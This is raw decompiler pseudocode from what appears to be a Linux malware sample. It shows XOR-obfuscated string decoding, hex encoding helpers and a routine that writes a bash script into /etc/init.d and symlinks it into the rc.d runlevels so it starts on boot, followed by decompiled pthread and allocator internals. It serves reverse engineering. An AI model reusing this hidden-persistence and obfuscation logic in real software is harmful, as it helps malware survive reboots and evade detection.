CMd5A__MDString(&a1->e0, a2);
uint32_t v3 = std__string__length(&a1->e0); // 0x808f7e7
if (((int32_t)(v3 < 15) || v3 & -256) != 1) {
// 0x808f7f9
std__string__substr(v1, &a1->e0, (int32_t)g2, 14);
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2);
// branch -> 0x808f870
}
// 0x808f870
return (int32_t)a1;
}
// Address range: 0x808f9ea - 0x808fa11
int32_t CUtility__IntDe(int32_t a1) {
int32_t v1 = a1 - 1783; // 0x808f9f0
int32_t v2 = v1 / -0x80000000; // 0x808fa07
g95 = v2;
return ((int32_t)(-0x4de9bd37 * (int64_t)v1 / 0x100000000) + v1) / 16 - v2;
}
// Address range: 0x808fa12 - 0x808fa4d
int32_t CDjfl87__QQifu1(int32_t a1) {
// 0x808fa12
if (a1 < 0) {
// 0x808fa33
// branch -> 0x808fa48
// 0x808fa48
return 0;
}
// 0x808fa22
int32_t v1; // 0x808fa42
if (a1 > 9) {
// 0x808fa39
if ((uint32_t)a1 <= 15) {
// 0x808fa3f
v1 = a1 + 55;
g95 = v1;
// branch -> 0x808fa48
} else {
v1 = 0;
}
} else {
int32_t v2 = a1 + 48; // 0x808fa2b
g95 = v2;
v1 = v2;
// branch -> 0x808fa48
}
// 0x808fa48
return 0x1000000 * v1 / 0x1000000;
}
// Address range: 0x808fa4e - 0x808fa93
int32_t CDjfl87__QQifu2(int32_t a1) {
// 0x808fa4e
g95 = a1;
unsigned char v1 = (char)a1; // 0x808fa57
int32_t v2 = 0x1000000 * a1;
int32_t v3 = v2 / 0x1000000;
int32_t result; // 0x808fa8f2
int32_t v4; // 0x808fa89
if (v2 < 0x30000000) {
// 0x808fa79
if (v1 < 65) {
// 0x808fa8f
return 0;
}
// 0x808fa7f
if (v1 <= 70) {
// 0x808fa85
v4 = v3 - 55;
g95 = v4;
result = v4;
// branch -> 0x808fa8f
} else {
result = 0;
}
// 0x808fa8f
return result;
}
// 0x808fa67
if (v1 <= 57) {
int32_t result2 = v3 - 48; // 0x808fa71
g95 = result2;
// branch -> 0x808fa8f
// 0x808fa8f
return result2;
}
// 0x808fa79
if (v1 < 65) {
// 0x808fa8f
return 0;
}
// 0x808fa7f
if (v1 <= 70) {
// 0x808fa85
v4 = v3 - 55;
g95 = v4;
result = v4;
// branch -> 0x808fa8f
} else {
result = 0;
}
// 0x808fa8f
return result;
}
// Address range: 0x808fa94 - 0x808fb49
int32_t CDjfl87__QQifu3(int32_t result, int32_t * a2, int32_t a3) {
int32_t v1 = result; // bp-44
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v1);
g95 = 0;
if (a3 <= 0) {
// 0x808fb42
return result;
}
int32_t v2 = 0;
char * v3 = (char *)(v2 + (int32_t)a2); // 0x808fab9_0
int32_t v4 = CDjfl87__QQifu1((int32_t)(*v3 / 16)); // 0x808fac7
v1 = result;
std__string__append(&v1, 1, (char)(0x1000000 * v4 / 0x1000000));
int32_t v5 = CDjfl87__QQifu1((int32_t)(*v3 % 16)); // 0x808faf3
g97 = result;
v1 = result;
std__string__append(&v1, 1, (char)(0x1000000 * v5 / 0x1000000));
int32_t v6 = v2 + 1; // 0x808fb13
g95 = v6;
while (v6 != a3) {
// 0x808fab3
v2 = v6;
v3 = (char *)(v2 + (int32_t)a2);
v4 = CDjfl87__QQifu1((int32_t)(*v3 / 16));
v1 = result;
std__string__append(&v1, 1, (char)(0x1000000 * v4 / 0x1000000));
v5 = CDjfl87__QQifu1((int32_t)(*v3 % 16));
g97 = result;
v1 = result;
std__string__append(&v1, 1, (char)(0x1000000 * v5 / 0x1000000));
v6 = v2 + 1;
g95 = v6;
// continue -> 0x808fab3
}
// 0x808fb42
return result;
}
// Address range: 0x808fb4c - 0x808fbd3
int32_t CDjfl87__QQifu4(struct struct_59 * a1, int32_t * a2, int32_t * a3, int32_t a4) {
int32_t v1 = (int32_t)(a2 < NULL) + (int32_t)a2; // 0x808fbc2
int32_t result = 0;
if (v1 > 1) {
int32_t v2 = 0;
int32_t v3 = 0; // 0x808fbcb418
while (true) {
// 0x808fb63
g98 = g98 & -256 | 16 * CDjfl87__QQifu2((int32_t)a1->e0) & 240;
int32_t v4 = g98 + CDjfl87__QQifu2((int32_t)a1->e0); // 0x808fb95
int32_t v5 = v3; // 0x808fbcb3
if (v2 < a4) {
// 0x808fba3
*(char *)(v2 + (int32_t)a3) = (char)v4;
v5 = v3 + 1;
// branch -> 0x808fbb5
}
int32_t v6 = v2 + 1; // 0x808fbb8
if (v1 / 2 > v6) {
// 0x808fbb5
v2 = v6;
v3 = v5;
// branch -> 0x808fb63
continue;
} else {
result = v5;
}
}
}
// 0x808fbcb
return result;
}
// Address range: 0x808fbd4 - 0x808fcb5
int32_t CDjfl87__QQifu5(int32_t result, int32_t a2, int32_t a3) {
int32_t v1 = g101; // 0x808fbd8
int32_t v2 = g98; // 0x808fbd9
int32_t * v3;
memcpy(v3, (int32_t *)0x8106b60, 512);
int32_t v4 = 0; // bp-552
int32_t v5 = 0; // bp-548
int32_t v6 = 0;
// branch -> 0x808fc50
while (true) {
// 0x808fc50
v4 = a2;
if (-((-1 * strlen((char *)&v4))) <= v6) {
// 0x808fc73
g97 = result;
int32_t v7 = a2; // bp-556
int32_t len = strlen((char *)&v7); // 0x808fc8d
CDjfl87__QQifu3(g97, v3, -((-1 * len)));
g98 = v2;
g101 = v1;
return result;
}
// 0x808fc07
g98 = v6;
g101 = (int32_t)*(char *)(v6 + a2);
v5 = a3;
int32_t len2 = strlen((char *)&v5); // 0x808fc2a
int32_t v8 = (int32_t)((0x100000000 * (int64_t)(v6 / -0x80000000) | (int64_t)v6) % (int64_t)len2) + a3; // 0x808fc3d
unsigned char v9 = *(char *)v8; // 0x808fc40
v3 = (int32_t *)(((v8 & -256 | (int32_t)v9) ^ g101) % 256);
v6++;
// branch -> 0x808fc50
}
}
// Address range: 0x808fcb6 - 0x808fe0b
int32_t CDjfl87__QQifu6(struct struct_59 * a1, struct struct_59 * a2, int32_t a3) {
int32_t v1 = g101; // 0x808fcba
int32_t v2 = g98; // 0x808fcbb
int32_t * v3;
memcpy(v3, (int32_t *)0x8106f60, 512);
struct struct_59 * v4 = (struct struct_59 *)(int32_t)a2->e0; // 0x808fce8_0
int32_t len = strlen((char *)(int32_t)v4->e0); // 0x808fcf7
struct struct_59 * v5 = (struct struct_59 *)(int32_t)a2->e0; // 0x808fd0d_0
int32_t v6 = CDjfl87__QQifu4(v5, (int32_t *)-((-1 * len)), v3, 511); // 0x808fd10
int32_t * v7;
memcpy(v7, (int32_t *)0x8106d60, 512);
int32_t v8 = 0; // bp-1064
g95 = 0;
if (v6 > 0) {
int32_t v9 = 0;
g101 = (int32_t)v3;
v8 = a3;
int32_t len2 = strlen((char *)&v8); // 0x808fd67
int32_t v10 = (int32_t)((0x100000000 * (int64_t)(v9 / -0x80000000) | (int64_t)v9) % (int64_t)len2) + a3; // 0x808fd7a
unsigned char v11 = *(char *)v10; // 0x808fd7d
int32_t v12 = v9 + 1; // 0x808fd8b
g95 = v12;
while (v12 != v6) {
// 0x808fd42
v9 = v12;
g101 = (int32_t)v3;
v8 = a3;
len2 = strlen((char *)&v8);
v10 = (int32_t)((0x100000000 * (int64_t)(v9 / -0x80000000) | (int64_t)v9) % (int64_t)len2) + a3;
v11 = *(char *)v10;
v12 = v9 + 1;
g95 = v12;
// continue -> 0x808fd42
}
int32_t * v13 = (int32_t *)(((v10 & -256 | (int32_t)v11) ^ g101) % 256); // 0x808fd81_0
v7 = v13;
// branch -> 0x808fd95
}
// 0x808fd95
g98 = a1->e0;
int32_t v14;
std__allocator_lt_char_gt__598(v14);
char v15 = NULL->e0;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)v7, v14, 511, (int32_t)v15, v8);
std__allocator_lt_char_gt_();
g98 = v2;
g101 = v1;
return a1->e0;
}
// Address range: 0x808fee8 - 0x80900d5
int32_t CUtility__Split(struct struct_3 * a1, char * a2, int32_t a3) {
struct struct_3 * v1 = NULL; // bp-33
int32_t v2 = (int32_t)a2; // 0x808fef5
std__allocator_lt_std__string_gt__42((int32_t)v1);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(a1, v1);
std__allocator_lt_std__string_gt_(&v1->e0);
if (((int32_t)*a2 || v2 & -256) != 0) {
// branch -> 0x808ff37
lab_0x62766a0:
while (true) {
int32_t v3 = v2; // 0x808fff915
char * v4 = a2; // 0x0214
// branch -> 0x808ff37
int32_t v5; // 0x808ff4a
char * v6; // 0x808ff4a_3
int32_t v7;
while (true) {
// 0x808ff37
if (*v4 == (char)a3) {
// 0x808ff51
int32_t v8;
std__allocator_lt_char_gt__598(v8);
int32_t v9 = (int32_t)a2; // 0x808ff63
int32_t * v10;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(v10, v9, v3 - v9, v8, v7, 0, 0);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(&a1->e0, v10);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v10);
std__allocator_lt_char_gt_();
int32_t v11 = v3 + 1; // 0x808fff1
char * v12 = (char *)v11; // 0x808fff1_3
if (((int32_t)*v12 || v11 & -256) == 0) {
// break (via goto) -> 0x8090006
goto lab_0x6276fa0;
}
v2 = v11;
a2 = v12;
// continue (via goto) -> 0x808ff37
goto lab_0x62766a0;
} else {
// 0x808ff47
v5 = v3 + 1;
v6 = (char *)v5;
if (((int32_t)*v6 || v5 & -256) == 0) {
// break -> 0x8090006
break;
}
v3 = v5;
v4 = v6;
// continue -> 0x808ff37
continue;
}
struct struct_3 * v13 = a1; // 0x80900ce_0
return (int32_t)v13;
}
int32_t v14 = (int32_t)a2; // 0x8090009
int32_t v15 = v5 - v14; // 0x8090009
if (v6 != a2) {
// 0x8090012
int32_t v16;
std__allocator_lt_char_gt__598(v16);
int32_t * v17;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(v17, v14, v15, v16, v7, 0, 0);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(&a1->e0, v17);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v17);
std__allocator_lt_char_gt_();
// branch -> 0x80900ce
}
// 0x80900ce
return (int32_t)a1;
}
}
lab_0x6276fa0:
// 0x8090006
// branch -> 0x80900ce
// 0x80900ce
return (int32_t)a1;
}
// Address range: 0x80900d8 - 0x809028b
int32_t CUtility__Split_541(char * a1, int32_t a2, int32_t * a3) {
int32_t v1 = (int32_t)a1; // 0x80901bd725
if (((int32_t)*a1 || v1 & -256) != 0) {
// branch -> 0x80900f6
lab_0x6289110:
while (true) {
int32_t v2 = v1; // 0x80901bd16
char * v3 = a1; // 0x0315
// branch -> 0x80900f6
int32_t v4; // 0x8090109
int32_t * v5;
char * v6; // 0x8090109_3
int32_t * v7;
while (true) {
// 0x80900f6
if (*v3 == (char)a2) {
// 0x8090110
int32_t v8;
std__allocator_lt_char_gt__598(v8);
int32_t v9 = (int32_t)a1; // 0x8090122
int32_t v10 = v2 - v9; // 0x8090127
g96 = v10;
int32_t v11;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(v7, v9, v10, v8, v11, 0, 0);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(a3, v7);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v7);
std__allocator_lt_char_gt_();
int32_t v12 = v2 + 1; // 0x80901b5
char * v13 = (char *)v12; // 0x80901b5_3
if (((int32_t)*v13 || v12 & -256) == 0) {
// break (via goto) -> 0x80901ca
goto lab_0x6289a90;
}
v1 = v12;
v5 = (int32_t *)v10;
a1 = v13;
// continue (via goto) -> 0x80900f6
goto lab_0x6289110;
} else {
// 0x8090106
v4 = v2 + 1;
v6 = (char *)v4;
if (((int32_t)*v6 || v4 & -256) == 0) {
// break -> 0x80901ca
break;
}
v2 = v4;
v3 = v6;
// continue -> 0x80900f6
continue;
}
// 0x8090278
return std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a3);
}
int32_t v14 = (int32_t)a1; // 0x80901cd
int32_t v15 = v4 - v14; // 0x80901cd
if (v6 != a1) {
// 0x80901d6
int32_t v16;
std__allocator_lt_char_gt__598(v16);
g96 = v15;
int32_t v17 = (int32_t)v7; // 0x80901ff
int32_t * v18;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(v18, v14, v15, v16, v17, v17, (int32_t)v5);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(a3, v18);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v18);
std__allocator_lt_char_gt_();
// branch -> 0x8090278
}
// 0x8090278
return std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a3);
}
}
lab_0x6289a90:
// 0x80901ca
// branch -> 0x8090278
// 0x8090278
return std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size((int32_t **)a3);
}
// Address range: 0x809028c - 0x8090463
int32_t CUtility__GetModuleFullPath(int32_t * a1) {
int32_t v1 = g101; // 0x809028f
int32_t v2 = g98; // 0x8090290
int32_t v3;
std__allocator_lt_char_gt__598(v3);
int32_t * v4;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__52((struct struct_6 *)v4, v3);
std__allocator_lt_char_gt_();
char * v5;
int32_t * v6;
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v5, (int32_t *)1024, (int32_t)v6);
g98 = getpid();
struct struct_18 * v7 = g2; // 0x80902fd_5
int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x80902fd
_IO_sprintf(v8, (int32_t)"/proc/%d/exe", g98);
int32_t v9;
int32_t v10 = &v9; // 0x80903b2
int32_t * v11 = (int32_t *)1024; // 0x809039c_21
// branch -> 0x8090317
int32_t result; // 0x809038e
while (true) {
int32_t v12 = (int32_t)v11; // 0x8090317
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize_70((int32_t **)v4, v11);
g98 = v12;
int32_t v13 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v7->e0); // 0x809033c
memset((int32_t *)v13, (int32_t)v7, g98);
g101 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v4);
int32_t v14 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v7->e0); // 0x809036d
g98 = v14;
int32_t v15 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x8090380
result = readlink((char *)v15, (char *)g98, g101);
int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, (int32_t *)(v12 - 1)) & -256 | v10; // 0x80903b2
char v17;
if (v16 != 0) {
// 0x80903b8
if (v11 <= (int32_t *)0xffff) {
v17 = 1;
lab_0x6299460:
// 0x80903cb
if (((int32_t)v17 || v16 & -256) == 0) {
// break -> 0x80903d6
break;
}
v11 = (int32_t *)(2 * v12);
// continue -> 0x8090317
continue;
}
// 0x80903c7
v17 = 0;
// branch -> 0x80903cb
goto lab_0x6299460;
}
// 0x80903c7
v17 = 0;
// branch -> 0x80903cb
goto lab_0x6299460;
}
int32_t v18 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v7->e0); // 0x80903df
std__string__operator_eq_((int32_t **)a1, (char *)v18);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v5);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v4);
g98 = v2;
g101 = v1;
return result;
}
// Address range: 0x8090464 - 0x809077f
int32_t CUtility__SetAutoStart(char * a1, int32_t * a2, int32_t a3) {
// 0x8090464
int32_t v1;
int32_t v2 = v1; // bp-824
int32_t * v3;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(v3);
CUtility__GetModuleFullPath(v3);
int32_t result2 = 0; // 0x80907722
if (std__string__empty(v3) == 0) {
// 0x80904af
CUtility__Sleep((int32_t *)1000);
int32_t v4;
std__allocator_lt_char_gt__598(v4);
char * v5;
int32_t v6;
int32_t v7;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, (int32_t)"/etc/init.d/", v4, v7, v6, v1);
char * v8;
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_((int32_t *)v8, v5, a1);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v5);
std__allocator_lt_char_gt_();
int32_t fd = open((char *)std__string__c_str((int32_t *)v8), 578); // 0x8090584
int32_t result = 0; // 0x80907723
if (fd > 0) {
// 0x80905a4
int32_t * v9;
memcpy(v9, (int32_t *)0x81073a0, 256);
_IO_sprintf((int32_t)v9, (int32_t)"#!/bin/bash\n%s\n", std__string__c_str(v3));
strlen((char *)&v2);
__libc_write();
close(fd);
// branch -> 0x809063a
for (uint32_t i = 0; i < 5; i++) {
// 0x809063a
int32_t * v10;
memcpy(v10, (int32_t *)0x81072a0, 256);
int32_t * v11;
memcpy(v11, (int32_t *)0x81071a0, 256);
int32_t v12 = i + 1; // 0x8090679
_IO_sprintf((int32_t)v11, (int32_t)"/etc/rc%d.d/S%d%s", v12);
int32_t v13 = access((char *)v11, (int32_t)g2); // 0x80906a4
if (((int32_t)(v13 == 0) || v13 & -256) == 0) {
// 0x80906b5
_IO_sprintf((int32_t)v10, (int32_t)"ln -s /etc/init.d/%s %s", (int32_t)a1);
system((char *)v10);
// branch -> 0x80906e5
}
// 0x80906e5
// PHI copies at the loop end
result = 1;
// loop 0x809063a end
}
// 0x8090723
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8);
// branch -> 0x8090763
// 0x8090763
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3);
return result;
}
// 0x8090723
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v8);
result2 = result;
// branch -> 0x8090763
}
// 0x8090763
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v3);
return result2;
}
// Address range: 0x8090780 - 0x8090873
int32_t CUtility__GetCurrentPathFile(int32_t * a1, char * a2) {
// 0x8090780
int32_t * v1;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(v1);
char * v2;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)v2);
CUtility__GetModuleFullPath(v1);
CUtility__GetPathA(v2, std__string__c_str(v1), (char *)47);
std__string__append((int32_t *)v2, 1, 47);
_ZStplIcSt11char_traitsIcESaIcEESbIT_T0_T1_ERKS6_PKS3_(a1, v2, a2);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v2);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1);
return (int32_t)a1;
}
// Address range: 0x8090876 - 0x809092f
int32_t CUtility__GetCurrentPathFile_542(int32_t * a1) {
// 0x8090876
int32_t * v1;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(v1);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(a1);
CUtility__GetModuleFullPath(v1);
CUtility__GetFileA(a1, std__string__c_str(v1), 47);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v1);
return (int32_t)a1;
}
// Address range: 0x8091274 - 0x8091285
int32_t __pthread_create_2_1(int32_t a1) {
// 0x8091274
int32_t result;
g95 = result;
return result;
}
// Address range: 0x8091efc - 0x8091f1f
int32_t __pthread_attr_init_2_1(int32_t a1) {
memset(&a1, 0, 9);
*(int32_t *)(a1 + 12) = getpagesize();
return 0;
}
// Address range: 0x8091fc4 - 0x8091ff5
int32_t __pthread_mutex_lock_internal(struct struct_3 * a1, int32_t * a2, int32_t * a3, int32_t * a4) {
// 0x8091fc4
g98 = (int32_t)a1;
g95 = 0;
g96 = 1;
int32_t v1 = a1->e0; // 0x8091ff2
int32_t result; // 0x8091ff5_1
if (v1 == 0) {
// if_8091ff2_3_true
a1->e0 = 1;
result = g95;
// branch -> after_if_8091ff2_3
} else {
// if_8091ff2_3_false
g95 = v1;
result = v1;
// branch -> after_if_8091ff2_3
}
// after_if_8091ff2_3
return result;
}
// Address range: 0x8092158 - 0x8092173
int32_t __pthread_mutex_unlock_usercnt(int32_t a1, int32_t a2) {
int32_t v1 = g95; // 0x809215b
g96 = v1;
g95 = *(int32_t *)(v1 + 12);
*(int32_t *)(v1 + 8) = 0;
return g95;
}
// Address range: 0x80921c8 - 0x80921e9
int32_t __pthread_mutex_unlock_internal(struct struct_45 * a1) {
// 0x80921c8
g97 = (int32_t)a1;
g95 = a1->e3;
a1->e2 = 0;
int32_t * v1 = (int32_t *)(g97 + 16); // 0x80921e2_0
*v1 = *v1 - 1;
int32_t * v2 = (int32_t *)g97; // 0x80921e6_0
*v2 = *v2 - 1;
return g95;
}
// Address range: 0x8092240 - 0x80922c3
int32_t __pthread_cond_init(struct struct_82 * a1, char * a2) {
int32_t v1 = (int32_t)a2;
a1->e0 = 0;
a1->e1 = 0;
int32_t v2;
int32_t v3; // 0x809228e
if (v1 == 0) {
// 0x809225f
v2 = 0;
// branch -> 0x8092261
// 0x8092261
g96 = v2;
a1->e9 = v2;
a1->e2 = 0;
a1->e3 = 0;
a1->e4 = 0;
a1->e5 = 0;
a1->e6 = 0;
a1->e7 = 0;
v3 = v1;
if (v3 == 0 || *(char *)v3 == 1) {
// 0x8092297
a1->e8 = 0;
a1->e10 = 0;
return 0;
}
// 0x80922b0
a1->e8 = -1;
a1->e10 = 0;
return 0;
}
// 0x809225a
if (*(char *)v1 != 2) {
v2 = 1;
// 0x8092261
g96 = v2;
a1->e9 = v2;
a1->e2 = 0;
a1->e3 = 0;
a1->e4 = 0;
a1->e5 = 0;
a1->e6 = 0;
a1->e7 = 0;
v3 = v1;
if (v3 == 0 || *(char *)v3 == 1) {
// 0x8092297
a1->e8 = 0;
a1->e10 = 0;
return 0;
}
// 0x80922b0
a1->e8 = -1;
a1->e10 = 0;
return 0;
}
// 0x809225f
v2 = 0;
// branch -> 0x8092261
// 0x8092261
g96 = v2;
a1->e9 = v2;
a1->e2 = 0;
a1->e3 = 0;
a1->e4 = 0;
a1->e5 = 0;
a1->e6 = 0;
a1->e7 = 0;
v3 = v1;
if (v3 == 0 || *(char *)v3 == 1) {
// 0x8092297
a1->e8 = 0;
a1->e10 = 0;
return 0;
}
// 0x80922b0
a1->e8 = -1;
a1->e10 = 0;
return 0;
}
// Address range: 0x8092e1c - 0x8092e57
int32_t __pthread_unwind(int32_t a1) {
// 0x8092e1c
_Unwind_ForcedUnwind(g96 + 544);
abort();
// UNREACHABLE
}
// Address range: 0x8092e98 - 0x8092eeb
int32_t __pthread_enable_asynccancel(void) {
int32_t v1 = g100; // 0x8092e98
int32_t result = g98; // 0x8092e9b
int32_t * v2 = (int32_t *)result; // 0x8092e9b_0
int32_t v3 = result | 2; // 0x8092ea54
if (result == v3) {
// 0x8092ec3
g98 = (int32_t)v2;
g100 = v1;
return result;
}
int32_t result3; // 0x8092ee7
while (true) {
// 0x8092eac
g95 = result;
int32_t * v4 = v2;
int32_t result2 = result;
if ((v3 & -5) == 10) {
// 0x8092ec8
__pthread_unwind(v1);
result3 = g95;
int32_t v5 = result3 | 2; // 0x8092ea5
if (result3 == v5) {
// break -> 0x8092ec3
break;
}
v3 = v5;
v2 = (int32_t *)0x8092ee7;
result = result3;
// continue -> 0x8092eac
continue;
}
// 0x8092ec3
g98 = (int32_t)v4;
g100 = v1;
return result2;
}
// 0x8092ec3
g98 = (int32_t)(int32_t *)0x8092ee7;
g100 = v1;
return result3;
}
// Address range: 0x8092eec - 0x8092f1f
int32_t __pthread_disable_asynccancel(int32_t a1, int32_t a2) {
// 0x8092eec
if ((g95 & 2) == 0) {
// 0x8092efb
if (g96 != (g96 & -3)) {
while ((g96 & -256 || 1) == 1 && g96 != (g96 & -3)) {
// 0x8092f04
// continue -> 0x8092f04
}
// 0x8092f1b
// branch -> 0x8092f1b
// 0x8092f1b
return g96;
}
// 0x8092f1b
// branch -> 0x8092f1b
}
// 0x8092f1b
return g96;
}
// Address range: 0x8092f20 - 0x8092f45
int32_t __lll_mutex_lock_wait(int32_t a1, int32_t a2) {
int32_t v1 = g96; // 0x8092f28
g96 = 0;
if (g95 == 2) {
// 0x8092f32
// branch -> 0x8092f39
}
// 0x8092f39
g95 = 2;
int32_t * v2 = (int32_t *)v1; // 0x8092f3b_0
*v2 = 2;
return *v2;
}
// Address range: 0x8093020 - 0x809303f
int32_t __lll_mutex_unlock_wake(int32_t a1) {
// 0x8093020
*(int32_t *)g95 = 0;
return 240;
}
// Address range: 0x80930b0 - 0x80930b8
void __libc_write(void) {
// 0x80930b0
return;
}
// Address range: 0x80930ba - 0x80930da
int32_t __write_nocancel(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4) {
// 0x80930ba
g97 = (int32_t)a3;
g96 = a2;
return 4;
}
// Address range: 0x80933b0 - 0x809340f
int32_t __libc_recvfrom(int32_t a1) {
// 0x80933b0
if (g103) {
// 0x80933ba
return 102;
}
int32_t v1 = g101; // 0x80933d8
g95 = __pthread_enable_asynccancel();
int32_t v2;
__pthread_disable_asynccancel(v1, v2);
g101 = v1;
return 102;
}
// Address range: 0x80934d0 - 0x80937b2
int32_t __libc_lseek(int32_t a1, int32_t a2, int32_t a3) {
// 0x80934d0
g97 = a3;
return 19;
}
// Address range: 0x8094324 - 0x80944f1
int32_t __gnu_cxx____pool_lt_true_gt____M_reserve_block(struct struct_88 * a1, int32_t a2, int32_t a3) {
int32_t v1 = g102; // 0x8094327
int32_t v2 = g101; // 0x8094328
int32_t v3 = (int32_t)a1; // 0x809432d
uint32_t v4 = (int32_t)a1->e5[a2][0].e1; // 0x8094336
int32_t v5 = (int32_t)a1->e2; // 0x809433d_0
uint32_t v6 = v4 % 32; // 0x8094340
int32_t v7 = v5; // 0x8094342
if (v6 != 0) {
// if_8094340_0_true
v7 = v5 << v6;
// branch -> after_if_8094340_0
}
int32_t v8 = a1->e0 + v7; // 0x8094342
g101 = v8;
struct struct_88 * v9 = (struct struct_88 *)((*(int32_t *)(v3 + 12) - 8) / v8); // 0x809434e_0
int32_t v10 = *(int32_t *)(v3 + 36) + 20 * v4; // 0x809435a
g102 = v10;
struct struct_3 * v11 = (struct struct_3 *)*(int32_t *)(v10 + 16); // 0x8094371_0
__pthread_mutex_lock_internal(v11, (int32_t *)NULL, &NULL->e0, &v9->e0);
int32_t * v12 = (int32_t *)g102; // 0x8094379_0
int32_t v13; // 0x80944a6
int32_t v14;
int32_t v15;
int32_t v16; // 0x80944c21
if (*(int32_t *)*v12 == 0) {
int32_t v17 = (int32_t)a1; // 0x8094480
g96 = v17;
int32_t v18 = *(int32_t *)(v17 + 12); // 0x8094483
g95 = v18;
int32_t v19 = _Znwj(v18, v17, a2); // 0x8094489
v15 = v19;
*(int32_t *)v19 = v19;
((struct struct_10 *)v19)->e1 = (int32_t *)*(int32_t *)(g102 + 4);
*(int32_t *)(g102 + 4) = v15;
__pthread_mutex_unlock_internal((struct struct_45 *)*(int32_t *)(g102 + 16));
v13 = v15 + 8;
int32_t v20 = 4 * a3; // 0x80944b3
v15 = v20;
int32_t v21 = (int32_t)v9; // 0x80944bc
v14 = v21;
*(int32_t *)(*(int32_t *)(g102 + 8) + v20) = v21;
*(int32_t *)(*(int32_t *)g102 + v15) = v13;
int32_t v22 = v14 - 1; // 0x80944ca
int32_t v23; // 0x80944e6
if (v14 == 1) {
// 0x8094480
v23 = v13;
// branch -> 0x80944e6
} else {
int32_t v24 = (int32_t)(struct struct_10 *)v13 + g101; // 0x80944d4
*(int32_t *)v13 = v24;
int32_t v25 = *(int32_t *)v13; // 0x80944dc
int32_t v26 = 1; // 0x80944de
// branch -> 0x80944d4
while (v22 != v26) {
// 0x80944d4
v24 = (int32_t)(struct struct_10 *)v24 + g101;
*(int32_t *)v25 = v24;
v25 = *(int32_t *)v25;
v26++;
// continue -> 0x80944d4
}
// 0x80944e6
v23 = v25;
// branch -> 0x80944e6
}
// 0x80944e6
*(int32_t *)v23 = 0;
v16 = v15;
// branch -> 0x8094405
} else {
int32_t v27 = 4 * a3; // 0x809438a
v15 = v27;
*(int32_t *)(*v12 + v27) = *(int32_t *)*v12;
